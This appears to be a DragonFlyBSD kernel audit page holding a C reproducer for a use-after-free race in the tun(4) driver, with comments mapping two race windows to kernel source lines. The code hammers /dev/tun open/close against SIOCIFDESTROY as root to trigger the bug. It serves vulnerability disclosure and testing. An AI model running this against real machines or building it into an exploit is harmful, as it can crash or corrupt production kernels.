⬢ DragonFlyBSD Kernel Audit
DF-3407 / race_tun.c
← back to finding ↓ download raw
/*
 * DF-3407 -- tun(4) softc lifetime race reproducer.
 *
 * Races cdev open()/close() on the /dev/tun autoclone device against
 * SIOCIFDESTROY/SIOCIFCREATE on the resulting tunN units.
 *
 * Window 1 (destroy-vs-close): tunclose() clears TUN_OPEN
 * (sys/net/tun/if_tun.c:317) and then runs a long unlocked body --
 * ifq_purge_all, if_down, if_purgeaddrs_nolink, EVENTHANDLER,
 * rt_ifannouncemsg, funsetown, KNOTE (if_tun.c:320-347) -- before it
 * itself calls if_clone_destroy() (if_tun.c:352).  A concurrent
 * SIOCIFDESTROY passes the TUN_OPEN gate in tun_clone_destroy()
 * (if_tun.c:419) the moment TUN_OPEN is cleared and frees the softc
 * (tundestroy -> kfree, if_tun.c:270) while tunclose is still using it.
 *
 * Window 2 (destroy-vs-open): tunopen() caches dev->si_drv1 (if_tun.c:286)
 * and then writes sc->tun_pid / sc->tun_flags |= TUN_OPEN
 * (if_tun.c:292-293) with no lock; a destroy that slips between the read
 * and the write operates on freed memory.
 *
 * Both sides require root (tunopen: caps_priv_check(SYSCAP_RESTRICTEDROOT),
 * if_tun.c:283; SIOCIFDESTROY: caps_priv_check, sys/net/if.c:2012-2016).
 *
 * Build:  cc -O2 -o race_tun race_tun.c
 * Run:    ./race_tun <seconds>      (as root)
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <net/if.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

static int rtsock;

static int
tun_destroy(int unit)
{
	struct ifreq ifr;

	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "tun%d", unit);
	return ioctl(rtsock, SIOCIFDESTROY, &ifr);
}

int
main(int argc, char **argv)
{
	long seconds = 60;
	time_t end;
	long opens = 0, destroy_ok = 0;
	pid_t child;

	if (argc > 1)
		seconds = atol(argv[1]);

	rtsock = socket(AF_ROUTE, SOCK_RAW, 0);
	if (rtsock < 0) {
		perror("AF_ROUTE socket");
		return 1;
	}
	if (geteuid() != 0) {
		fprintf(stderr, "must run as root\n");
		return 1;
	}

	child = fork();
	if (child == 0) {
		/* destroyer: hammer SIOCIFDESTROY on the unit range */
		for (;;) {
			int u;
			for (u = 0; u <= 32; ++u) {
				if (tun_destroy(u) == 0)
					destroy_ok++;
			}
		}
		/* NOTREACHED */
	}

	/* opener/closer: autoclone open creates a unit, close destroys it */
	end = time(NULL) + seconds;
	while (time(NULL) < end) {
		int fd = open("/dev/tun", O_RDWR);

		if (fd >= 0) {
			close(fd);
			opens++;
		}
	}
	kill(child, SIGKILL);
	wait(NULL);
	printf("done: %ld open/close cycles, %ld destroys won\n",
	    opens, destroy_ok);
	return 0;
}